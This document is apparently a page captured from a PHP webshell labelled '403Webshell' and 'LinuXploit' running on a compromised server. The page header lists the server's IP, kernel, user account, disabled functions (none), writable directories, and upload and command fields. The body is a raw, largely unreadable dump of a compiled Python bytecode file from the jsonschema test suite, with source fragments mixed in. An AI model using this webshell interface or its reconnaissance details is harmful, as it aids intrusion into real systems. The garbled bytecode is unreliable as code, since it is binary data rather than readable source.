403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jsonschema/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jsonschema/tests/__pycache__/_suite.cpython-314.pyc
+
P4i~���Rt^RIHt^RIHtHt^RIHt^RIH	t	^RI
Ht^RIH
t
Ht^RIt^RIt^RIt^RIt^RIt^RIt^RIHtHt^R	IHt^RIt]
'd^RIt^R
IHt^RIt]P>!R4t Rt!]!R
R44t"]!RR44t#]!RR44t$]!RR7!RR44t%Rt&R#)z=
Python representations of the JSON Schema Test Suite tests.
)�annotations)�Iterable�Mapping)�suppress)�partial)�Path)�
TYPE_CHECKING�AnyN)�field�frozen)�Registry)�_VALIDATORSz[\W\- ]+c��\PPR4pVe\V4#\\P
4PPR,pVP4'g\R4hV#)�JSON_SCHEMA_TEST_SUITE�jsonz�Can't find the JSON-Schema-Test-Suite directory. Set the 'JSON_SCHEMA_TEST_SUITE' environment variable or run the tests from alongside a checkout of the suite.)	�os�environ�getr�
jsonschema�__file__�parent�is_dir�
ValueError)�roots �9/usr/lib/python3/dist-packages/jsonschema/tests/_suite.py�_find_suitersj��
�:�:�>�>�2�3�D����D�z���
�#�#�$�+�+�2�2�V�;�D��;�;�=�=�� �
�	
��K�c�n�]tRt^1t$]!]R7tR]R&]!RR7tR]R&Rt	R	R
lt
RRltR
tR#)�Suite)�factoryr�_rootF)�init�%referencing.jsonschema.SchemaRegistry�_remotesc		��VPPRR4p\P\	V4R.p\
P!V4PR4p\P!V4pRpRp\4PV\PPPVP!V4R73V\PP"PVP!V4R73.4P%VP'4\PP(R7p\*P-VRV4R	#)
�bin�jsonschema_suite�remotes�utf-8z?http://localhost:1234/locationIndependentIdentifierPre2019.jsonz>http://localhost:1234/locationIndependentIdentifierDraft4.json)�contents)�default_specificationr#N)r �joinpath�sys�
executable�str�
subprocess�check_output�decoder�loadsr�with_resources�referencingr�DRAFT7�create_resource�pop�DRAFT4�
with_contents�items�DRAFT202012�object�__setattr__)�selfr&�argvr'�	resources�li�li4�registrys&       r�__attrs_post_init__�Suite.__attrs_post_init__7s'���:�:�.�.�u�6H�I������$4� 5�y�A���)�)�$�/�6�6�w�?���J�J�w�'�	�
N��N���:�,�,���*�*�1�1�A�A�!*���r�!2�B�����*�*�1�1�A�A�!*���s�!3�B���

�
��-��O�O��"-�"8�"8�"D�"D��
�	�&	���4��X�6rc��V^8�dQhRR/#���runnerz
pyperf.Runner�)�formats"r�__annotate__�Suite.__annotate__V�����
�rc	��\P!4F(wr#VPVR7PVVR7K*	R#))�name)rI�	ValidatorN)r
r:�version�	benchmark)r>rIrPrQs&&  rrS�Suite.benchmarkVs;��*�0�0�2�O�D��L�L�d�L�#�-�-��#�
.�
� 3rc��V^8�dQhRR/#)rH�return�VersionrJ)rKs"rrLrM]s��
�
�w�
rc	�b�\VVPR,V,VPR7#)�tests)rP�pathr')rWr r#�r>rPs&&rrR�
Suite.version]s*�������g�%��,��M�M�
�	
rrJN)
�__name__�
__module__�__qualname__�__firstlineno__r
rr �__annotations__r#rDrSrR�__static_attributes__rJrrrr1s7����,�E�4�,�6;��6G�H�3�G�7�>�
�
rrc�r�]tRt^et$R]R&R]R&R]R&RtRR	ltR
RltRR
ltRt	RRlt
RtR#)rWr�_pathr"r#r.rPc	�X�VP4FpVP!R/VBK	R#�NrJ)�casesrS)r>�kwargs�cases&, rrS�Version.benchmarkms!���J�J�L�D��N�N�$�V�$�!rc��V^8�dQhRR/#�rHrV�Iterable[_Case]rJ)rKs"rrL�Version.__annotate__qs��?�?��?rc	�X�VPVPPR4R7#)z*.json��paths��	_cases_inrd�glob�r>s&rrg�
Version.casesqs ���~�~�D�J�J�O�O�H�$=�~�>�>rc��V^8�dQhRR/#rlrJ)rKs"rrLrnts��O�O�o�Orc	�X�VPVPPR4R7#)zoptional/format/*.jsonrprrrus&r�format_cases�Version.format_casests!���~�~�D�J�J�O�O�4L�$M�~�N�Nrc� �V^8�dQhRRRR/#)rHrPr.rVrmrJ)rKs"rrLrnws��P�P�c�P�o�Prc	�^�VPVPR,VR2,.R7#)�optionalz.jsonrp)rsrdr[s&&r�optional_cases_of�Version.optional_cases_ofws*���~�~�T�Z�Z�*�%<�$��u�~�%M�$N�~�O�Orc	�a�SPRRVPP4PRR4,4pV3RlV4Uu/uFpVPVbK	pp\V\P3V4p\\4;_uu_4\4VnRRR4V#uupi +'giT#;i)rP�Test�-�c3�<"�TF3pVF*pVPFpVP!R/SBx�K	K,	K5	R#5irf)rY�to_unittest_method)�.0�groupri�testrhs&   �r�	<genexpr>�/Version.to_unittest_testcase.<locals>.<genexpr>~sF�����#�E�!�D� �J�J�D��'�'�1�&�1�'�2�!�2�#�s�;>N)r7rP�title�replacer]�type�unittest�TestCaser�	Exception�)_someone_save_us_the_module_of_the_callerr^)r>�groupsrhrP�method�methods�clss&*l    r�to_unittest_testcase�Version.to_unittest_testcasezs�����z�z�&�&�4�9�9�?�?�+<�+D�+D�S�"�+M�"M�N���#��
���
�O�O�V�#��	�
��4�(�+�+�-�w�7��
�i�
 �
 �F�H�C�N�!��
��#
�!�
 ��
�s�B6�B;�;C	c� �V^8�dQhRRRR/#)rHrqzIterable[Path]rVrmrJ)rKs"rrLrn�s����~��/�rc	#	��"�VF_p\P!VPRR74F2p\P	VVVP
VPR7x�K4	Ka	R#5i)r()�encoding)rR�subjectr'N)rr2�	read_text�_Case�	from_dict�stemr#)r>rqrZris&&  rrs�Version._cases_in�sX����D��
�
�4�>�>�7�>�#C�D���o�o�� � �I�I� �M�M�	&���E��s�A(A*rJN)r]r^r_r`rarSrgryr~r�rsrbrJrrrWrWes9���K�3�3�

�I�%�?�O�P��*�rrWc�t�]tRt^�t$R]R&R]R&R]R&R]R&R]R	&R
tR]R&]R
4tRRltRt	R
#)r�rWrRr.r��description�Mapping[str, Any] | bool�schemazlist[_Test]rYN�
str | None�commentc	���VPV4VPR4Uu.uF4p\RRVR,RVR,RVR,RVR,RV/VBNK6	ppV!RRV/VB#uupi)rYrRr��case_descriptionr�r�r'rJ)�updater7�_Test)r��datar'rhr�rYs&&&,  rr��_Case.from_dict�s������F���(�(�7�+�	
�,�$�
�
��Y��
��Y��
�"&�m�!4�
��H�~�	
�
 �
��

�,�	�	
��'��'�$�'�'��	
s�:A+c��V^8�dQhRR/#rGrJ)rKs"rrL�_Case.__annotate__�rNrc		��VPF3pVPVP\VP3/VB4K5	R#�N)rY�
bench_func�fully_qualified_namer�validate_ignoring_errors)r>rIrhr�s&&, rrS�_Case.benchmark�s:���J�J�D�����)�)���5�5�@��@�
�rrJ)
r]r^r_r`rar��classmethodr�rSrbrJrrr�r��sG����
�L���$�$����G�Z���(��(��rr�F)�reprc��]tRt^�t$R]R&R]R&R]R&R]R&R]R&R	]R
&R]R&R
]R&RtR]R&Rt]R4tR3Rlt	Rt
RtRtR#)r�rWrRr.r�r�r�r	r�r�r��bool�validr"r#Nr�r�c	�"�RVPR2#)z<Test �>)r�rus&r�__repr__�_Test.__repr__�s����1�1�2�!�4�4rc	��RPVPPVPVPVP
.4#)z > )�joinrRrPr�r�r�rus&rr��_Test.fully_qualified_name�s>���z�z����!�!�����%�%�� � �	
�
�	
rc	��R#r�rJ)r�s&r�<lambda>�_Test.<lambda>�s��4rc		�Daa�SP'd	VV3RlpMVV3RlpRPR\PRSP4\PRSP
4\PRSP4.4VnV!S4pVe&\PPRR4R8wdV#\PPRR4R8wd\P!V4#\P!V4!V4#)c�,<�SP!R/SBR#rf)�validate��thisrhr>s&��r�fn�$_Test.to_unittest_method.<locals>.fn�s����
�
�'��'rc�<�VP\P4;_uu_4SP!R/SBRRR4R# +'giR#;irf)�assertRaisesr�ValidationErrorr�r�s&��rr�r��s9����&�&�z�'A�'A�B�B��M�M�+�F�+�C�B�B�B�s�A�A	�_r��JSON_SCHEMA_DEBUG�0�JSON_SCHEMA_EXPECTED_FAILURES)r�r��_DELIMITERS�subr�r�r�r]rrrr��expectedFailure�skip)r>r�rhr��reasonsf&l  rr��_Test.to_unittest_method�s�����:�:�:�
(�
,��h�h������T�\�\�2�����T�%:�%:�;�����T�%5�%5�6�	
�
����d����>�R�Z�Z�^�^�,?��E��L��I�
�Z�Z�^�^�;�S�
A�S�
H��+�+�B�/�/��=�=��(��,�,rc	��VPVP4V!RRVPRVP/VBp\PPRR4R8wd\
4VPVPR7R#)r�rCr�r�)�instanceNrJ)	�check_schemar�r#rrr�
breakpointr�r�)r>rQrh�	validators&&, rr��_Test.validate�st�����t�{�{�+��
��;�;�
��]�]�
��
�	�
�:�:�>�>�-�s�3�s�:��L����D�I�I��.rc	��\\P4;_uu_4VPVR7RRR4R# +'giR#;i))rQN)rrr�r�)r>rQs&&rr��_Test.validate_ignoring_errorss0��
�j�0�0�
1�
1��M�M�I�M�.�2�
1�
1�
1�s	�?�A	rJ)
r]r^r_r`rar�r��propertyr�r�r�r�rbrJrrr�r��sh����
�L�����

�I�$�$��K�3�3��G�Z��5��
��
�'8�-�2	/�/rr�c�P�\P!^4PR,#)ak
The FQON of the module 2nd stack frames up from here.

This is intended to allow us to dynamically return test case classes that
are indistinguishable from being defined in the module that wants them.

Otherwise, trial will mis-print the FQON, and copy pasting it won't re-run
the class that really is running.

Save us all, this is all so so so so so terrible.
r])r,�	_getframe�	f_globalsrJrrr�r�s���=�=���%�%�j�1�1r)'�__doc__�
__future__r�collections.abcrr�
contextlibr�	functoolsr�pathlibr�typingrr	rr�rer/r,r��attrsr
rr4r�referencing.jsonschema�pyperf�jsonschema.validatorsr
r�compiler�rrrWr�r�r�rJrr�<module>r�s����#�-����%��	�	��
��� ����-���j�j��%���$�0
�0
��0
�f�1�1��1�h�����B�U��E/�E/��E/�P
2r

Youez - 2016 - github.com/yon3zu
LinuXploit